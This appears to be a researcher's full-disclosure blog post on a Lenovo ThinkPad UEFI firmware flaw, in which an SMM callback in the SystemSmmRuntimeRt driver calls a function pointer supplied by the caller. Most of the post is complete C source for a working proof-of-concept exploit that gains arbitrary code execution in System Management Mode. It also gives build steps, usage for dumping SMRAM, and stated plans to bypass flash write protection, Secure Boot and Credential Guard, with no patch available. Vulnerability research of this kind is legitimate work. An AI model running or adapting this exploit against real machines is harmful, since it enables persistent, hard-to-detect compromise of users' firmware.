EFI_STATUS __fastcall sub_AD3AFA54(EFI_HANDLE SmmImageHandle, VOID *CommunicationBuffer, UINTN *SourceSize) { VOID *v3; // rax@1 VOID *v4; // rbx@1 // get some structure pointer from EFI_SMM_COMMUNICATE_HEADER.Data v3 = *(VOID **)(CommunicationBuffer + 0x20); v4 = CommunicationBuffer; if (v3) { /* Vulnarability is here: this code calls some function by address from obtained v3 structure field. */ *(v3 + 0x8)(*(VOID **)v3, &dword_AD002290, CommunicationBuffer + 0x18); // set zero value in EFI_SMM_COMMUNICATE_HEADER.Data to indicate successful operation *(VOID **)(v4 + 0x20) = 0; } return 0; }
As you can see — it’s quite epic! Firstly, it doesn’t have any input buffer filtering with hardcoded GUID comparison. Secondly, it calls external function which address was obtained from caller controllable buffer.
This SMM callback belongs to SystemSmmRuntimeRt UEFI driver that present in firmware of Lenovo computers. The latest firmware of ThinkPad T450s (ver. 1.22) is vulnerable for sure, X220 is the oldest ThinkPad that I currently have at home — it’s latest firmware (ver. 1.42) is also vulnerable. Probably, you can also find the vulnerable driver in firmware of some Lenovo computers from ThinkCentre, ThinkStation, ThinkServer, Lenovo Notebook and Lenovo Desktop model lines. To check the firmware of your own machine for this suspicious driver just load it’s firmware image into UEFITool and do the search by "SystemSmmRuntimeRt" unicode string:
Vulnerable driver inside Lenovo firmware image |
Driver entry point performs various initializations and registers SMM callback that was shown above:
EFI_STATUS __fastcall start(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable) { EFI_HANDLE v2; // rbx@1 __int64 v3; // rax@2 __int64 v4; // rax@4 EFI_STATUS result; // rax@6 __int64 v6; // [sp+30h] [bp-10h]@2 __int64 v7; // [sp+38h] [bp-8h]@8 char a3; // [sp+78h] [bp+38h]@1 __int64 v9; // [sp+80h] [bp+40h]@1 __int64 v10; // [sp+88h] [bp+48h]@8 v9 = 0i64; gST = SystemTable; gBS = SystemTable->BootServices; v2 = ImageHandle; /* This function initializes a lot of stuff and sets a3 to TRUE when UEFI driver was loaded into the SMM or FALSE when it was loaded as DXE driver. */ sub_DEC(ImageHandle, SystemTable, &a3); if (!a3) { // perform additional DXE stage initializations v3 = gBS->LocateProtocol(qword_260, 0, &v6); if (v3 >= 0) qword_1070 = v6 - 0x3210; return 0; } // start of SMM-specific initializations, locate EFI_SMM_SYSTEM_TABLE SmmBaseProtocol->GetSmstLocation(SmmBaseProtocol, &qword_1068); // allocate some memory from SMRAM pool v4 = SmmBaseProtocol->SmmAllocatePool(SmmBaseProtocol, 6, 0x3310, &qword_1070); if (!v4) { _zero_memory(qword_1070, 0x3310); } // allocate some DXE phase pool memory result = gBS->AllocatePool(0, 0x4048, &qword_1070); if ((result & 0x8000000000000000) == 0) { _zero_memory(v3300, 0x4048); result = gBS->AllocatePool(0i64, 0x3310, &v9); if ((result & 0x8000000000000000) == 0) { _zero_memory(v9, 0x3310); *(_QWORD *)(v3300 + 0x10) = 0x4048; /* Register sub_A54() function as SMM callback. ImageHandle value (v2 variable) of loaded SMM driver will be used as handle value to communicate with installed callback. */ SmmBaseProtocol->RegisterCallback(SmmBaseProtocol, v2, sub_A54, 0); } // ... } return result; }
To interact with vulnerable SMM callback we need to know it’s handle value, SystemSmmRuntimeRt driver entry point registers this callback using handle value (in context of SMM callbacks just think about it like about some random key without any exact meaning) of it’s own loaded image that was passed to it’s entry.
If we are going to exploit the vulnerability from running operating system we can find the proper handle value with simple bruteforce. But if attacker is able to run his own UEFI application on vulnerable platform — there’s a better way to determinate this handle value. We can enumerate all of the UEFI handles using LocateHandle() function of EFI_BOOT_SERVICES and check if given handle implements EFI_LOADED_IMAGE_PROTOCOL instance of SystemSmmRuntimeRt UEFI driver (it has constant FFS GUID):
EFI_STATUS GetImageHandle(CHAR16 *TargetPath, EFI_HANDLE *HandlesList, UINTN *HandlesListLength) { EFI_HANDLE *Buffer = NULL; UINTN BufferSize = 0, HandlesFound = 0, i = 0; // determine handles buffer size EFI_STATUS Status = gBS->LocateHandle( ByProtocol, &gEfiLoadedImageProtocolGuid, NULL, &BufferSize, NULL ); if (Status != EFI_BUFFER_TOO_SMALL) { return Status; } // allocate required amount of memory if ((Status = gBS->AllocatePool(0, BufferSize, (VOID **)&Buffer)) != EFI_SUCCESS) { return Status; } // get image handles list Status = gBS->LocateHandle( ByProtocol, &gEfiLoadedImageProtocolGuid, NULL, &BufferSize, Buffer ); if (Status == EFI_SUCCESS) { for (i = 0; i < BufferSize / sizeof(EFI_HANDLE); i += 1) { EFI_LOADED_IMAGE *LoadedImage = NULL; // get loaded image protocol instance for given image handle if (gBS->HandleProtocol( Buffer[i], &gEfiLoadedImageProtocolGuid, (VOID *)&LoadedImage) == EFI_SUCCESS) { // get and check image path CHAR16 *Path = ConvertDevicePathToText(LoadedImage->FilePath, TRUE, TRUE); if (Path) { if (!wcscmp(Path, TargetPath)) { if (HandlesFound + 1 < *HandlesListLength) { // image handle was found HandlesList[HandlesFound] = Buffer[i]; HandlesFound += 1; } else { // handles list is full Status = EFI_BUFFER_TOO_SMALL; } } gBS->FreePool(Path); if (Status != EFI_SUCCESS) { break; } } } } } gBS->FreePool(Buffer); if (Status == EFI_SUCCESS) { *HandlesListLength = HandlesFound; } return Status; }
Now when we have a function which finds proper handle value we can write another one that exploits our shiny new 0day vulnerability to execute arbitrary code in System Management Mode:
// signature of the function that will be called in sub_A54() SMM callback typedef VOID (* EXPLOIT_HANDLER)(VOID *Context, VOID *Unknown, VOID *Data); /* sub_A54() SMM callback accepts pointer to this structure in EFI_SMM_COMMUNICATE_HEADER.Data */ typedef struct { VOID *Context; EXPLOIT_HANDLER Handler; } STRUCT_1; UINTN g_SmmHandlerExecuted = 0; EFI_GUID g_SmmCommunicateHeaderGuid[] = SMM_COMMUNICATE_HEADER_GUID; // this function will be executed in SMM VOID SmmHandler(VOID *Context, VOID *Unknown, VOID *Data) { // tell to the caller that SMM code was executed g_SmmHandlerExecuted += 1; // ... } //-------------------------------------------------------------------------------------- VOID FireSynchronousSmi(UINT8 Handler, UINT8 Data) { // fire SMI using APMC I/O port __outbyte(0xb3, Data); __outbyte(0xb2, Handler); } //-------------------------------------------------------------------------------------- EFI_STATUS SystemSmmRuntimeRt_Exploit(VOID) { EFI_STATUS Status = EFI_SUCCESS; EFI_SMM_BASE_PROTOCOL *SmmBase = NULL; STRUCT_1 Struct; UINTN DataSize = BUFF_SIZE, i = 0; EFI_SMM_COMMUNICATE_HEADER *Data = NULL; EFI_HANDLE HandlesList[MAX_HANDLES]; UINTN HandlesListLength = MAX_HANDLES; memset(HandlesList, 0, sizeof(HandlesList)); g_SmmHandlerExecuted = 0; // locate SMM base protocol if ((Status = gBS->LocateProtocol(&gEfiSmmBaseProtocolGuid, NULL, &SmmBase)) != EFI_SUCCESS) { goto _end; } // allocate memory for SMM communication data if ((Status = gBS->AllocatePool(0, DataSize, (VOID **)&Data)) != EFI_SUCCESS) { goto _end; } /* Obtain image handle, SystemSmmRuntimeRt UEFI driver registers sub_A54() as SMM callback using EFI_HANDLE of it's own image that was passed to driver entry. We can determine this handle value using LocateHandle() function of EFI_BOOT_SERVICES. */ if (GetImageHandle(IMAGE_NAME, HandlesList, &HandlesListLength) == EFI_SUCCESS) { if (HandlesListLength > 0) { // enumerate all image handles that were found for (i = 0; i < HandlesListLength; i += 1) { EFI_HANDLE ImageHandle = HandlesList[i]; DataSize = BUFF_SIZE; // set up data header memset(Data, 0, DataSize); memcpy(&Data->HeaderGuid, g_SmmCommunicateHeaderGuid, sizeof(EFI_GUID)); Data->MessageLength = DataSize - sizeof(EFI_SMM_COMMUNICATE_HEADER); // set up data body Struct.Context = NULL; Struct.Handler = SmmHandler; *(VOID **)((UINT8 *)Data + 0x20) = (VOID *)&Struct; // queue SMM communication call Status = SmmBase->Communicate(SmmBase, ImageHandle, Data, &DataSize); // fire any synchronous SMI to process pending SMM calls and execute arbitrary code FireSynchronousSmi(0, 0); if (g_SmmHandlerExecuted > 0) { break; } } if (g_SmmHandlerExecuted > 0) { Status = EFI_SUCCESS; } } } _end: if (Data) { gBS->FreePool(Data); } return Status; }
I made a proof of concept exploit called ThinkPwn that can be compiled as UEFI application using EDK2 source code tree. To build it from the source code on Windows with Visual Studio compiler you have to perform the following steps:
- Copy ThinkPwn project directory into the EDK2 source code directory.
- Run Visual Studio 2008 Command Prompt and cd to EDK2 directory.
- Execute Edk2Setup.bat --pull to configure build environment and download required binaries.
- Edit AppPkg/AppPkg.dsc file and add path of ThinkPwn/ThinkPwn.dsc to the end of [Components] section.
- cd to the ThinkPwn project directory and run build command.
- After compilation resulting PE image file will be created at Build/AppPkg/DEBUG_VS2008x86/X64/ThinkPwn/ThinkPwn/OUTPUT/ThinkPwn.efi
ThinkPwn.efi <address> <bytes_to_dump> <out_file>
Here’s the example of using this exploit to dump TSEG region of SMRAM on my ThinkPad T450s:
Vulnerability exploitation on ThinkPad T450s |
Technical nature of this 0day vulnerability is rising an interesting question: is it backdoor or not? On one side we have the following suspicious facts:
- Vulnerable SMM callback function doesn’t look like any other SMM callback function from the same firmware, probably vulnerable code was written and committed not by regular Lenovo developers who usually work on System Management Mode.
- Vulnerable SMM callback function has absolutely no sense from engineering point of view, it can’t do anything useful except calling of arbitrary function which address was received from caller, there’s no any sane reasons to have such SMM callback in your firmware code.
Patch for this vulnerability is currently not available, I decided to do the full disclosure because the main goal of my UEFI series articles is to share the knowledge, not to make vendors and their users happy. Also, I don’t have enough resources to check the vulnerability on all of the Lenovo computers, so, if you have ThinkPad — it’s likely vulnerable, in case of other model lines I’d recommend to wait for official advisory from vendor. It’s very unlikely that this vulnerability will be exploited in the wild, for regular customers there are much more chances to be killed with the lightning strike than meet any System Management Mode exploit or malware.
Currently exploit for this 0day vulnerability is implemented only as UEFI application — in theory it should work fine on any vulnerable machine which is good enough to test your system and dump SMRAM contents of fresh firmware for future research. Later I planning to reimplement it on the top of the libfwexpl, as it was said — it will be possible to use it for flash write protection bypass, disabling of UEFI Secure Boot, Virtual Secure Mode and Credential Guard bypass, etc.